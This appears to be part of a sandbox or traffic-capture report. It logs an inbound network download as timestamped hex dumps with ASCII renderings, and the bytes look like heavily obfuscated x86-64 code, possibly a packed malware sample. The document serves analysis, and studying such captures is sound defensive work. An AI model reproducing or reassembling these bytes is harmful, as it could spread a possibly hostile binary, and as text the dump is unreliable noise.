2023-05-10 00:21:18 UTC	6784	IN	Data Raw: c9 41 81 fb fb 79 f0 3c f5 41 81 f1 b2 57 0e 0d 40 80 fc 51 f8 56 44 31 0c 24 5e e9 c2 fd f4 ff 66 8b 7c 25 00 66 0f ac e0 c3 d2 f6 45 3a e9 66 8b 55 02 0f 41 c2 48 81 ed 06 00 00 00 49 0f b7 c0 40 8a c6 d2 fc 66 f7 d7 66 c1 f0 f6 f8 66 f7 d2 d2 f8 66 c1 f0 25 66 41 0f 48 c1 66 23 fa 0f 9f c4 66 98 48 8b c4 66 89 7d 08 9c 8f 44 25 00 8b 06 f5 48 81 c6 04 00 00 00 85 c5 41 33 c2 4d 85 c1 f5 f7 d0 05 c2 57 98 08 e9 b8 84 fd ff f7 d9 c1 c1 02 f5 0f c9 81 c1 ef 1d 0d 53 81 f1 86 19 e5 55 e9 dd 07 f4 ff 41 ff c1 e9 0d 10 fd ff 8b 44 25 00 41 22 fa 48 81 cf 8c 18 9c 4b 8b 7d 04 48 81 fd 5e 1e c9 21 45 3a f4 48 81 ed 04 00 00 00 40 3a ed f7 d0 49 f7 c0 79 11 72 50 f5 f7 d7 66 85 ef 0b c7 49 0f bf f8 66 41 8b fc 40 0f 95 c7 89 45 08 41 0f b7 ff 48 c7 c7 a1 04 ff Data Ascii: Ay<AW@QVD1$^f\|%fE:fUAHI@ffff%fAHf#fHf}D%HA3MWSUAD%A"HK}H^!E:H@:IyrPfIfA@EAH
2023-05-10 00:21:18 UTC	6800	IN	Data Raw: 85 d4 f9 4d 03 c3 e9 1a dd f3 ff c3 41 80 ff 83 5b 49 81 ea 04 00 00 00 41 8b 12 41 33 d1 f7 d2 f5 e9 73 43 04 00 48 8b 44 25 00 48 8b 55 08 f8 48 81 c5 0c 00 00 00 f5 e9 b2 9f ff ff ff ca f9 e9 c4 7c f0 ff 0f c8 35 cd 32 fb 40 f8 f5 d1 c0 e9 4d 5b fa ff 66 0f b6 37 66 d3 ca 8a 4f 02 66 0f ab e2 0f ba f2 8c 48 81 ef 06 00 00 00 d3 f2 86 d2 44 84 e7 40 f6 d6 0f a4 f2 4b c0 f2 0a 48 c1 c2 b7 f6 d1 66 c1 fa 04 49 0f b7 d5 40 0a f1 66 89 77 08 0f 94 c6 87 d2 9c 8f 07 66 41 3b f2 99 8b 54 25 00 66 41 3b f2 48 81 c5 04 00 00 00 f9 41 33 d3 c1 c2 02 81 c2 41 01 56 2c f7 d2 41 f6 c0 3a f8 0f ca 44 3a f5 e9 d9 53 f3 ff 56 66 0f ba f6 25 40 d2 c6 66 44 0f ac f6 48 31 2c 24 81 c6 4d 3a a3 3b 5e f5 66 45 85 c1 48 63 ed 41 3a c0 4c 03 cd e9 77 b7 f1 ff c3 41 ff c1 41 Data Ascii: MA[IAA3sCHD%HUH\|52@M[f7fOfHD@KHfI@fwfA;T%fA;HA3AV,A:D:SVf%@fDH1,$M:;^fEHcA:LwAA
2023-05-10 00:21:18 UTC	6816	IN	Data Raw: d4 f3 ff 53 c3 f7 d9 f5 f8 c1 c9 02 56 31 0c 24 5e f5 48 63 c9 41 3a e4 41 84 d0 66 81 f9 36 1e 4c 03 c9 e9 c3 61 f9 ff f5 66 41 81 fd d3 7f 48 81 c6 04 00 00 00 e9 a8 dc f9 ff 41 ff e2 48 8b 37 48 8b 4f 08 66 41 0f ac c8 ad 48 f7 d6 49 d3 f8 41 80 f0 62 4c 2b c2 48 f7 d1 66 45 0f a4 e8 b9 48 0b f1 4c 63 c2 4d 0f b7 c2 48 89 77 08 9c 41 80 d0 9c 41 80 c0 74 66 41 d3 c0 8f 07 41 0f 93 c0 44 8b 44 25 00 40 f6 c4 c3 48 81 c5 04 00 00 00 f9 f5 45 33 c3 41 c1 c8 03 f5 41 0f c8 e9 36 01 fc ff e9 2a 34 f9 ff ff c0 3a ee 56 31 04 24 40 80 ce f0 41 0f b7 f3 5e 66 41 81 fc a7 25 f5 49 f7 c5 75 5a 85 31 48 63 c0 4c 03 c8 e9 1b ab f2 ff 81 fb 02 00 00 00 0f 85 a2 f4 fd ff 48 8b d0 e9 00 08 f5 ff 49 8b c9 49 81 e9 02 00 00 00 d2 e2 66 41 89 09 48 0f ba fa a6 66 0f ba Data Ascii: SV1$^HcA:Af6LafAHAH7HOfAHIAbL+HfEHLcMHwAAtfAADD%@HE3AA6*4:V1$@A^fA%IuZ1HcLHIIfAHf
2023-05-10 00:21:18 UTC	6832	IN	Data Raw: bc d8 66 3b ce 0f ba f0 b6 4c 8b 5d 08 9f f9 48 c1 c8 c5 48 81 c5 10 00 00 00 0f bd c4 4c 89 19 48 0f bf c4 49 81 ea 04 00 00 00 66 41 0f b6 c5 66 44 0f a3 e8 41 8b 02 41 33 c1 f6 c7 d4 05 8b 7c 56 58 f9 c1 c8 03 66 41 81 f9 49 78 e9 9e 61 f7 ff e9 97 6b f2 ff 8b 07 66 99 0f a2 48 81 ef 0c 00 00 00 89 47 0c 89 5f 08 89 4f 04 d2 ed 48 87 c9 0f bb f1 89 17 86 cd 66 44 0f bb f1 66 c1 d1 d7 8b 4c 25 00 f5 41 3a d4 48 81 c5 04 00 00 00 f9 e9 4b 5b 03 00 44 03 db e9 bf 2e fd ff 49 8b 08 0f b7 e8 40 d2 d5 49 8b 78 08 40 c0 dd f3 40 80 cd 48 40 0f 92 c5 49 81 c0 10 00 00 00 48 89 39 66 41 23 ed 41 8b 29 66 45 85 d0 f8 49 81 c1 04 00 00 00 33 eb f9 f7 d5 81 ed 4b 54 ff 6d f9 f5 40 f6 c6 7e 81 f5 e2 59 81 32 e9 eb b2 00 00 8b 37 66 41 81 c2 30 1d 45 03 d0 41 d3 da Data Ascii: f;L]HHLHIfAfDAA3\|VXfAIxakfHG_OHfDfL%A:HK[D.I@Ix@@H@IH9fA#A)fEI3KTm@~Y27fA0EA
2023-05-10 00:21:18 UTC	6848	IN	Data Raw: 43 19 7e e9 a3 85 f4 ff fd 16 22 16 6b 26 25 61 d1 77 2c f8 47 47 2b 8f e4 d2 4f 11 72 e2 48 66 c8 b3 41 ff 5e 83 46 88 cf 9e f9 18 59 ae fe 6f e3 ff f7 f6 75 cf f0 81 d6 5a 94 1f 40 6a 93 68 fa 3b 9a f1 6c 0b 9d 86 99 06 95 0b 0f 36 92 7c b5 67 9b e5 23 57 9c 92 80 c2 f8 0c 16 f2 ff 7b ac a3 f6 e2 3a 93 f1 95 ab 8e 4e 05 3d be 49 72 87 ef 40 eb 11 df 47 9c b2 4a 23 02 24 7a 24 75 9e 2b 2d ec 08 1b 2a 9b 35 36 4c 2d a3 06 4b 5a 19 57 42 c3 8f 67 45 b4 2c f2 21 2a ba c2 26 5d 00 93 2f c4 96 a3 28 b3 07 be 97 23 91 8e 90 54 2b df 99 cd bd ef 9e ba 1e 7a fa 24 88 4a fd 53 32 1b f4 ca a4 2b f3 bd 51 26 fb 30 c7 16 fc 47 7d 47 f5 de eb 77 f2 a9 48 e2 96 37 de d2 91 40 64 83 98 d9 f2 b3 9f ae 63 ae 20 3e f5 9e 27 49 4f cf 2e d0 d9 ff 29 a7 7a 6a 4d 39 ec 5a 4a Data Ascii: C~"k&%aw,GG+OrHfA^FYouZ@jh;l6\|g#W{:N=Ir@GJ#$z$u+-56L-KZWBgE,!&]/(#T+z$JS2+Q&0G}GwH7@dc >'IO.)zjM9ZJ
2023-05-10 00:21:18 UTC	6864	IN	Data Raw: f7 da 81 ea 00 6d ba 7b e9 8d 90 ef ff 66 45 0f b6 08 41 8a 68 02 40 d2 cf 40 0f c0 ff 66 0f bb cf 49 81 e8 06 00 00 00 48 0f bd fc 44 02 cd 41 0f b7 fc 66 45 89 48 08 66 41 0f b6 fa 0f cf 9c 44 0f ac df 63 48 2b ff 41 8f 00 66 0f ac df 07 48 81 eb 04 00 00 00 66 41 0b f9 8b 3b 49 f7 c0 01 58 64 08 33 fe e9 52 dc f7 ff 41 52 c3 49 8b 39 41 8b 49 08 4d 85 c0 41 02 c5 14 fb 49 81 c1 0c 00 00 00 89 0f 9f 80 dc 89 49 81 ea 04 00 00 00 9f 41 8b 02 41 33 c3 66 81 fc 5e 5d f5 f7 d8 f9 f5 c1 c0 03 35 0a 6c 04 32 f7 d8 41 53 66 41 c1 e3 87 41 fe c3 31 04 24 4c 63 d8 41 c0 f3 c8 66 45 0f be df 41 5b f9 80 fe f8 48 63 c0 48 03 f0 e9 ff d0 00 00 4c 8b 1f 48 81 c7 08 00 00 00 d2 cd 66 81 e2 f0 65 48 81 ed 01 00 00 00 66 41 0f bc cf 48 c1 da 08 0f b6 54 25 00 fe c1 41 Data Ascii: m{fEAh@@fIHDAfEHfADcH+AfHfA;IXd3RARI9AIMAIIAA3f^]5l2ASfAA1$LcAfEA[HcHLHfeHfAHT%A
2023-05-10 00:21:18 UTC	6880	IN	Data Raw: a1 40 46 e6 37 70 41 91 94 e5 25 0f 02 d5 22 78 b8 84 2b e1 2e b4 2c 96 bf a9 93 06 29 99 94 71 93 c8 9d e8 05 f8 9a 9f a6 6d fe 01 30 5d f9 76 8a 0c f0 ef 1c 3c f7 98 b1 50 4d 58 27 60 4a 2f 9d 31 43 b6 0b 01 44 c1 a8 94 20 5f 3e a4 27 28 84 f5 2e b1 12 c5 29 c6 83 d8 96 56 15 e8 91 21 af b9 98 b8 39 89 9f cf 9a 1c fb 51 0c 2c fc 26 b6 7d f5 bf 20 4d f2 c8 d5 40 fa 45 43 70 fd 32 f9 21 f4 ab 6f 11 f3 dc cc 84 97 42 5a b4 90 35 e0 e5 99 ac 76 d5 9e db e7 c8 21 4b 71 f8 26 3c cb a9 2f a5 5d 99 28 d2 fe 0c 4c 4c 68 3c 4b 3b d2 6d 42 a2 44 5d 45 d5 79 70 23 63 ef 40 24 14 55 11 2d 8d c3 21 2a fa 60 b4 4e 64 f6 84 49 13 4c d5 40 8a da e5 47 fd 4b f8 f8 6d dd c8 ff 1a 67 99 f6 83 f1 a9 f1 f4 52 3c 95 6a c4 0c 92 1d 7e 5d 9b 84 e8 6d 9c f3 1d 60 94 7e 8b 50 93 Data Ascii: @F7pA%"x+.,)qm0]v<PMX'`J/1CD _>'(.)V!9Q,&} M@ECp2!oBZ5v!Kq&</](LLh<K;mBD]Eyp#c@$U-!*`NdIL@GKmgR<j~]m`~P
2023-05-10 00:21:18 UTC	6896	IN	Data Raw: 97 fb ff 41 ff c8 41 53 44 31 04 24 41 c0 fb f2 66 45 0f ab cb 41 5b 4d 63 c0 49 03 f0 e9 87 48 fa ff 0f 85 32 f4 f1 ff 5e 66 45 0f b3 f0 45 32 c6 41 fe c0 f7 d0 f9 66 45 0f ab f0 41 89 01 41 80 f0 f1 49 81 ea 04 00 00 00 41 c1 c0 de 45 8b 02 f9 45 33 c3 f5 41 d1 c0 e9 2c f6 f6 ff 66 44 0f ac fe 1a f8 5e f8 4d 63 c9 4d 03 d9 e9 e7 6c fc ff 0f c9 e9 b6 2f f8 ff 40 fe c7 66 41 85 e1 f5 44 32 d7 f8 48 89 14 3c f6 d6 81 f2 5a 02 7a 72 8b 16 66 41 81 fd d3 42 48 81 c6 04 00 00 00 e9 e8 49 f4 ff e9 17 48 00 00 f7 d7 ff cf f5 81 f7 46 3a 4e 3b 0f cf e9 ca bd fc ff 48 81 ef 06 00 00 00 41 2a d9 40 d2 e6 41 8a da 66 87 db 66 41 0f b6 d8 66 89 77 08 86 ff 9c 8f 07 66 c1 d3 89 66 d3 f3 48 81 ed 04 00 00 00 66 0f bc db 48 87 db 8b 5c 25 00 41 33 d9 f7 db f7 d3 81 f3 Data Ascii: AASD1$AfEA[McIH2^fEE2AfEAAIAEE3A,fD^McMl/@fAD2H<ZzrfABHIHF:N;HA*@AffAfwffHfH\%A3
2023-05-10 00:21:18 UTC	6912	IN	Data Raw: 48 81 e4 f0 ff ff ff f8 41 85 c0 48 03 e1 f8 41 80 fe 86 85 db 0f 84 3a f5 fc ff 48 8b 44 dd 00 66 41 85 d0 81 fb 01 00 00 00 e9 6b 9d f6 ff f7 d1 ff c9 f7 d1 41 80 ff ea 81 c1 01 7c 19 72 f5 0f c9 81 e9 e8 06 f7 3b f5 44 3a ec 0f c9 f7 c5 a0 2d d5 15 41 51 4d 0f bf ca 45 86 c9 31 0c 24 f9 66 44 03 ce 41 59 40 80 fd c8 41 f6 c0 cc 48 63 c9 f8 f9 4c 03 c1 e9 e4 02 f5 ff 89 7d 08 66 41 0f b6 f9 9c 40 2a fa 8f 44 25 00 66 85 e3 66 0f cf 66 44 0f ab c7 49 81 ea 04 00 00 00 41 8b 3a 66 81 fe 49 01 41 33 f9 f9 81 f7 76 4c 4e 42 66 f7 c5 5e 22 f7 df f8 e9 1b 2f f2 ff c3 66 8b 6c 25 00 fe ce 41 32 d4 8b 16 48 81 c6 04 00 00 00 f8 41 33 d2 f5 d1 c2 41 3a dc 41 84 d6 81 f2 98 5b 6d 62 f9 f8 d1 ca e9 30 39 f5 ff 48 8b 7c 25 00 8a 55 08 66 41 f7 c3 87 3a 48 81 c5 0a Data Ascii: HAHA:HDfAkA\|r;D:-AQME1$fDAY@AHcL}fA@*D%fffDIA:fIA3vLNBf^"/fl%A2HA3A:A[mb09H\|%UfA:H
2023-05-10 00:21:18 UTC	6928	IN	Data Raw: 04 00 00 00 48 f7 c1 28 0a 0e 15 40 0f 9d c6 89 7c 25 00 41 22 f7 f7 de 49 81 ea 04 00 00 00 48 0f bf f4 41 8b 32 f8 41 33 f1 81 f6 9d 05 5d 43 e9 76 ad f4 ff 41 ff c3 41 80 f8 4e 41 f6 c6 7c f8 41 f7 d3 41 81 c3 25 48 a0 12 40 3a ef 41 f7 d3 41 80 ff f6 41 0f cb f5 f9 48 81 f9 e7 08 34 48 41 51 44 31 1c 24 41 59 f9 4d 63 db 4d 03 c3 e9 5a f7 f7 ff f7 df f8 f9 c1 c7 02 81 f7 40 1f 58 51 41 80 fd bc 45 3a f7 41 53 41 0f b3 f3 66 41 81 f3 2e 67 31 3c 24 66 45 0f bc da 41 5b 48 63 ff 48 03 f7 e9 29 74 f7 ff e9 24 74 f7 ff 41 ff c0 41 c1 c8 02 e9 58 65 01 00 d1 c1 81 c1 ef 1e 07 2c c1 c1 03 ff c9 f5 f8 e9 f1 84 f6 ff f5 f9 c1 cd 02 80 fb 26 0f cd 41 3a ea 81 ed 78 21 ca 3f f9 81 f5 3c 66 e6 62 f9 f5 41 53 41 80 e3 d5 4c 0f bf d9 66 41 d3 cb 31 2c 24 41 5b f9 Data Ascii: H(@\|%A"IHA2A3]CvAANA\|AA%H@:AAAH4HAQD1$AYMcMZ@XQAE:ASAfA.g1<$fEA[HcH)t$tAAXe,&A:x!?<fbASALfA1,$A[
2023-05-10 00:21:18 UTC	6944	IN	Data Raw: 00 00 e9 b2 23 fd ff 66 41 f7 c1 bb 74 41 0f c8 41 f7 d8 41 53 41 d3 db 66 45 8b d9 41 c0 e3 c6 44 31 04 24 f5 41 5b 4d 63 c0 49 03 f0 e9 35 8b fa ff 41 80 fe 97 33 ce f9 e9 57 db f6 ff d2 dc 48 81 c5 06 00 00 00 66 89 4c 25 00 8b 03 48 81 c3 04 00 00 00 41 80 ff e1 66 41 3b ee f8 41 33 c3 f7 d0 e9 16 a2 f4 ff d1 c0 66 81 fa 75 7b 2d f0 31 ce 33 e9 5c 46 f0 ff 41 ff c1 f7 c5 69 7b a0 45 41 84 f6 e9 6d 9b f0 ff d0 ca e9 60 e9 fc ff f7 d2 e9 00 39 f3 ff e9 24 88 ff ff 66 f7 d0 48 ff c6 48 f7 d6 48 81 c6 7a 02 99 03 c0 c4 96 4c 33 ce 48 81 ed 08 00 00 00 48 89 74 25 00 c0 d4 7a f6 d8 49 81 ea 04 00 00 00 48 81 e0 59 78 59 75 0f c1 c0 41 8b 02 41 33 c1 0f c8 41 3a f9 45 85 c9 35 48 5b 35 0e 45 3a dd f7 d8 80 ff f4 41 3a f4 05 50 74 c9 76 66 45 85 e6 e9 d3 63 Data Ascii: #fAtAAASAfEAD1$A[McI5A3WHfL%HAfA;A3fu{-13\FAi{EAm`9$fHHHzL3HHt%zIHYxYuAA3A:E5H[5E:A:PtvfEc
2023-05-10 00:21:18 UTC	6960	IN	Data Raw: d9 f9 ff e9 c7 77 f7 ff 49 8b e0 41 59 41 5a 40 02 ee 66 41 d3 fc 9f 5d 5b 41 5c 41 5b 98 5f 5e f6 d1 d2 ca 59 9f 41 5f 41 5e 58 41 58 41 0f 91 c5 66 99 49 d3 e5 9d 41 b5 15 4d 0f 44 ed 4d 63 ed 41 5d 48 0f 45 d1 5a e9 66 c9 ed ff 41 5f 66 45 87 c9 41 58 44 0f bf cb 66 98 41 59 58 48 0f b7 cf 66 40 0f be cd 66 87 c9 59 e9 40 47 f5 ff 41 f7 d2 56 f9 41 80 fc db 44 31 14 24 48 c1 f6 09 5e f8 4d 63 d2 3a cd 4d 03 da e9 75 2d ff ff f5 41 c1 c1 02 41 0f c9 e9 d6 78 f1 ff ff e6 0f 86 1d 00 00 00 ba 04 00 00 00 4c 0f b3 c0 48 81 f0 52 0f 02 7b 41 12 ce 8d 4b fc c1 f0 d9 66 b8 d0 48 c1 e1 03 48 0f c8 c1 e2 03 48 81 e0 05 11 32 20 48 8b c5 f5 48 8d 04 10 66 45 85 e5 3d 46 27 e6 40 48 89 44 25 f8 e9 52 a4 01 00 66 0f b6 37 0f 93 c4 44 8a 5f 02 48 81 ef 06 00 00 00 Data Ascii: wIAYAZ@fA][A\A[_^YA_A^XAXAfIAMDMcA]HEZfA_fEAXDfAYXHf@fY@GAVAD1$H^Mc:Mu-AAxLHR{AKfHHH2 HHfE=F'@HD%Rf7D_H
2023-05-10 00:21:18 UTC	6976	IN	Data Raw: da 38 f9 ff e9 44 6a f8 ff ff cb 66 44 3b ff 81 f3 a9 1e ee 4c e9 98 fb f2 ff e9 72 78 01 00 66 f7 c5 f0 2a 45 3a cd 48 81 c3 04 00 00 00 41 f6 c7 2a 45 33 c3 41 81 e8 ce 5c 17 0e f9 80 fb 67 e9 57 d2 ff ff 41 ff e1 0f 85 ce dc fe ff 48 8b d0 e9 ec 24 fb ff f8 49 81 c0 04 00 00 00 33 ee f7 dd 0f cd 66 44 3b de 81 ed 84 2c 1c 4c 44 84 fa e9 13 df 00 00 e9 44 23 fe ff 49 81 ea 02 00 00 00 41 0f b7 32 48 98 d2 c0 66 41 33 f1 41 0a c7 66 f7 de 66 ff c6 0f 44 c3 f5 41 8a c6 66 d1 ce 41 1a c6 66 81 c6 ae 59 0f bc c3 66 44 33 ce 48 13 c4 f9 66 c1 d8 be 48 81 ed 02 00 00 00 c6 c4 56 14 ff 66 89 74 25 00 25 c6 70 fb 40 66 0f ba f8 72 49 81 ea 04 00 00 00 f8 49 0f bf c6 0f c0 c0 41 8b 02 41 80 fa 82 f8 41 33 c1 e9 27 29 fa ff e9 ca 07 ff ff 41 ff c0 f5 e9 60 18 f0 Data Ascii: 8DjfD;LrxfE:HAE3A\gWAH$I3fD;,LDD#IA2HfA3AffDAfAfYfD3HfHVft%%p@frIIAAA3')A`
2023-05-10 00:21:18 UTC	6992	IN	Data Raw: 4d 63 db 45 84 e4 f9 49 03 db e9 f4 ee f9 ff 48 8b 0f 48 0f bf d2 8b 57 08 66 41 c1 c3 b0 44 0f b7 dc f8 48 81 c7 0c 00 00 00 41 c0 eb d8 45 1a da 4c 0f 4b d8 36 89 11 45 8b 18 49 81 c0 04 00 00 00 44 33 de 41 3b ea 66 41 81 fd fc 5e 41 81 c3 f6 3f 84 4a f9 41 d1 c3 f5 41 f7 d3 41 84 f5 41 81 c3 40 29 e0 63 f8 f9 41 f7 db 41 d1 c3 40 f6 c7 95 56 44 31 1c 24 40 c0 f6 1b 5e 41 f7 c0 ec 0b 5c 02 81 fe 76 6e 69 48 4d 63 db f9 41 84 d8 f8 4d 03 cb e9 d4 38 f9 ff 41 d1 cb f8 56 44 31 1c 24 66 41 03 f6 40 fe c6 5e e9 33 d9 00 00 f5 f7 d9 e9 d2 28 ff ff 80 fc 33 48 03 d8 e9 9a ec fe ff 44 84 c6 44 8b 54 25 00 e9 59 d1 fc ff e9 02 a1 f5 ff 0f cf e9 34 e9 f6 ff 41 ff e1 49 8b 38 40 f6 d5 40 80 d5 a3 41 80 ff 2f 41 8a 68 08 66 41 0f b6 d6 49 81 c0 0a 00 00 00 d2 ee Data Ascii: McEIHHWfADHAELK6EID3A;fA^A?JAAAA@)cAA@VD1$@^A\vniHMcAM8AVD1$fA@^3(3HDDT%Y4AI8@@A/AhfAI
2023-05-10 00:21:18 UTC	7008	IN	Data Raw: f1 e9 01 e7 fa ff e9 b2 76 f7 ff ff c1 0f c9 c1 c1 03 f5 f8 f7 d1 f9 f8 d1 c9 f9 41 52 66 45 0f b6 d2 66 41 d3 da 4c 63 d0 31 0c 24 49 d3 c2 41 5a 48 63 c9 66 81 ff 86 5c f8 48 03 d9 e9 69 c4 f8 ff 8b 44 25 00 41 86 ca 44 0f b7 d7 8a 4d 04 48 81 ed 06 00 00 00 d3 e0 66 45 0f be d1 41 f6 d2 66 45 0f b6 d0 89 45 08 45 0f b7 d2 66 45 0f be d7 9c 41 80 ca 3e 49 c1 ea bb 8f 44 25 00 66 41 d3 f2 44 8b 13 66 41 81 f9 08 69 f8 44 3a f2 48 81 c3 04 00 00 00 45 33 d3 e9 81 1d fc ff ff cb 4d 3b f4 49 f7 c6 5c 6a c1 0e 41 53 41 f6 db 31 1c 24 66 45 0f 41 da 49 81 e3 42 4d cb 06 41 5b 66 3d 5b 11 66 41 f7 c1 5a 1d 48 63 db 66 41 3b de f5 4c 03 d3 e9 69 53 f2 ff ff c2 f8 f7 da 45 3a fe f9 f7 d2 53 31 14 24 5b f5 48 63 d2 f5 f9 41 84 d3 4c 03 d2 e9 99 54 f7 ff 66 f7 c1 Data Ascii: vARfEfALc1$IAZHcf\HiD%ADMHfEAfEEEfEA>ID%fADfAiD:HE3M;I\jASA1$fEAIBMA[f=[fAZHcfA;LiSE:S1$[HcALTf
2023-05-10 00:21:18 UTC	7024	IN	Data Raw: e2 48 03 e9 e9 dd 2f f4 ff 48 81 eb 01 00 00 00 0f b6 2b 44 8a cc 40 32 ee 41 fe c1 49 c1 e1 75 49 0b cb 40 80 c5 5a 66 c1 d9 8d 40 d0 cd 40 f6 dd 45 0f b7 cc 41 0f 99 c1 48 0f c9 40 fe c5 4d 0f ac d9 66 f5 40 32 f5 c0 c1 29 48 0f ac f1 63 f7 d1 4c 8b 0c 2c 49 81 e8 08 00 00 00 41 0f b7 c9 4d 89 08 4c 0f a3 e9 c1 e1 75 48 81 eb 04 00 00 00 66 0f ac c1 94 8b 0b f5 66 41 81 fc f1 01 33 ce 4d 85 fb f5 41 81 fc c3 74 96 6f f7 d9 e9 3e 93 fd ff f7 d0 ff c0 e9 39 f4 ee ff 49 8b 28 41 8a 48 08 41 80 f9 a1 f8 49 81 e8 06 00 00 00 f5 48 d3 e5 49 89 68 08 9c 41 8f 00 49 0f bf cc 49 63 cf f6 d1 41 8b 09 49 81 c1 04 00 00 00 84 e0 e9 88 1c ee ff ff c7 e9 e2 17 ed ff 41 53 41 80 c3 ba 41 d2 fb 31 0c 24 66 41 0f ba fb b4 f9 41 d3 e3 41 5b 66 41 81 f9 76 6a 66 85 c4 48 Data Ascii: H/H+D@2AIuI@Zf@@EAH@Mf@2)HcL,IAMLuHffA3MAto>9I(AHAIHIhAIIcAIASAA1$fAAA[fAvjfH
2023-05-10 00:21:18 UTC	7040	IN	Data Raw: 66 8b d6 48 0f bf d2 66 0f be d0 9c 48 0f ca 66 41 0f be d4 8f 07 d2 e6 c0 d2 fc 8b 54 25 00 e9 81 f9 ee ff 41 d1 c2 41 ff c2 4d 85 dd 56 44 0f ac c6 11 c1 f6 e3 66 0f a4 f6 26 44 31 14 24 e9 29 cb ff ff 41 f7 d9 e9 17 e0 fa ff 55 c3 48 8b 1f 66 05 49 64 66 41 0f b6 c7 0f 99 c0 8b 03 40 84 f9 f5 48 81 c7 04 00 00 00 45 3b ea 41 f7 c6 5e 56 dd 07 89 07 86 e4 48 81 ed 04 00 00 00 80 e4 16 66 41 0b c1 d2 e0 8b 44 25 00 41 33 c1 e9 24 af ef ff 00 00 00 00 a9 19 28 0b 3f 29 2f 7c 85 78 26 e5 13 48 21 92 b0 dd 45 0c 26 ed 42 7b 9c bc 4b e2 0a 8c 4c 95 9b 91 f3 05 0d a1 f4 72 b7 f0 fd eb 21 c0 fa 9c 82 55 9e 02 14 65 99 75 ae 34 90 ec 38 04 97 9b cd 09 9f 16 5b 39 98 61 e1 68 91 f8 77 58 96 8f d4 cd f2 11 42 fd f5 66 f8 ac fc ff 6e 9c fb 88 ff 81 44 18 69 b1 43 Data Ascii: fHfHfAT%AAMVDf&D1$)AUHfIdfA@HE;A^VHfAD%A3$(?)/\|x&H!E&B{KLr!Ueu48[9ahwXBfnDiC
2023-05-10 00:21:18 UTC	7056	IN	Data Raw: ff e1 66 0f b6 54 25 00 8a 4d 02 41 80 e1 5a 48 81 ed 06 00 00 00 41 d2 d9 d2 e2 66 89 55 08 9c e9 a1 86 ff ff 66 44 8b 17 d2 c4 f9 66 0f ba f8 d2 66 8b 47 02 48 81 ef 06 00 00 00 66 3b cc 66 41 f7 d2 80 fd 50 45 3b dc 66 f7 d0 45 84 ce 41 80 f8 9c 66 44 0b d0 66 40 0f be c6 66 44 89 57 08 49 0f b7 c6 9c 0f ba f8 9f e9 f4 98 ec ff d1 c2 e9 8e 7a f1 ff 53 66 41 0f be d8 41 80 fe 23 31 3c 24 5b 48 63 ff f9 f8 4c 03 d7 e9 e4 d5 f2 ff 41 81 c1 df 31 c2 53 41 d1 c1 41 f6 c0 d9 48 81 fd e5 31 b7 5a 41 81 e9 b6 67 29 5e e9 9c 60 ee ff 40 84 e2 f7 d0 44 3a db 40 84 e2 f8 56 40 80 ce 5f 40 f6 de 31 04 24 d3 e6 5e f9 f5 66 44 3b dd 48 63 c0 41 3a c3 48 03 e8 e9 50 0d f6 ff 0f c9 e9 4b 40 ff ff ff c2 48 f7 c3 1a 2a de 5a 49 81 fb 80 20 ba 20 41 52 41 80 ea 9a 31 14 Data Ascii: fT%MAZHAfUfDffGHf;fAPE;fEAfDf@fDWIzSfAA#1<$[HcLA1SAAH1ZAg)^`@D:@V@_@1$^fD;HcA:HPK@H*ZI ARA1
2023-05-10 00:21:18 UTC	7072	IN	Data Raw: e9 87 42 ec ff 66 8b 03 41 3a d8 66 d3 e2 d2 d6 66 8b 53 02 66 44 0f be d2 41 0f ba fa 27 41 c0 c2 35 48 81 eb 06 00 00 00 66 45 0f be d7 66 45 0f ac fa c4 66 f7 d0 66 41 f7 d2 66 f7 d2 41 c0 c2 9e 66 23 c2 66 44 8b d7 4c 0f bf d1 44 0f b7 d3 66 89 43 08 41 b2 f1 41 f6 d2 9c 8f 03 49 81 eb 04 00 00 00 66 41 d3 d2 45 8a d2 45 8b 13 44 33 d6 45 84 db f5 48 3b d1 41 81 f2 cb 38 99 7a f9 f5 41 c1 c2 02 e9 f3 42 fd ff 4d 63 d2 44 3a c0 49 03 ea e9 d0 ba fc ff 81 fb 03 00 00 00 e9 b6 b0 f3 ff 0f b6 3e 41 80 e8 38 66 41 c1 c0 84 4c 0f bf c3 48 81 c6 01 00 00 00 48 0f bb c0 41 32 fa 44 22 c1 d2 d8 49 0f a3 e0 40 80 f7 11 e9 4a b4 f2 ff 81 f2 88 71 7b 51 81 c2 54 57 49 2b f8 41 3b f5 f7 d2 f5 40 80 fe c4 41 51 66 45 0f ab e1 31 14 24 41 59 48 63 d2 45 84 d9 f9 48 Data Ascii: BfA:ffSfDA'A5HfEfEffAfAf#fDLDfCAAIfAEED3EH;A8zABMcD:I>A8fALHHA2D"I@Jq{QTWI+A;@AQfE1$AYHcEH
2023-05-10 00:21:18 UTC	7088	IN	Data Raw: 73 69 0d 2d f9 41 51 66 41 0f ba f9 ee 45 33 cd 66 45 0f ac c9 a5 31 3c 24 f8 e9 99 23 00 00 66 44 8b 17 48 63 c0 66 8b 57 02 66 0f b6 c2 d2 f0 41 22 c4 48 81 ef 06 00 00 00 c0 f0 bc 66 41 f7 d2 1a c0 66 98 48 0f bf c0 66 f7 d2 4c 0f a4 f0 95 66 44 0b d2 66 44 89 57 08 41 8a c2 9c 8f 07 c0 e0 42 c0 d0 26 41 8b 00 f9 49 81 c0 04 00 00 00 33 c6 f5 0f c8 f8 e9 0b f2 f4 ff 66 41 8b 38 40 0a ec 66 41 8b 68 02 41 3b c5 80 ff 2a f9 49 81 e8 06 00 00 00 f8 66 f7 d7 40 f6 c7 08 66 f7 d5 f5 66 23 fd e9 20 c6 f8 ff 0f bf f6 66 41 89 78 08 66 41 0f be f2 41 0f bf f7 41 8a f7 9c f7 de 41 8f 00 66 44 0f a3 ce 41 8b 31 40 80 ff 05 49 81 c1 04 00 00 00 33 f3 e9 14 74 f9 ff 66 41 0f b6 11 41 8a 41 02 66 41 ff c8 41 d2 c0 4d 0f 46 c2 49 81 e9 06 00 00 00 44 02 c5 66 44 0f Data Ascii: si-AQfAE3fE1<$#fDHcfWfA"HfAfHfLfDfDWAB&AI3fA8@fAhA;*If@ff# fAxfAAAAfDA1@I3tfAAAfAAMFIDfD
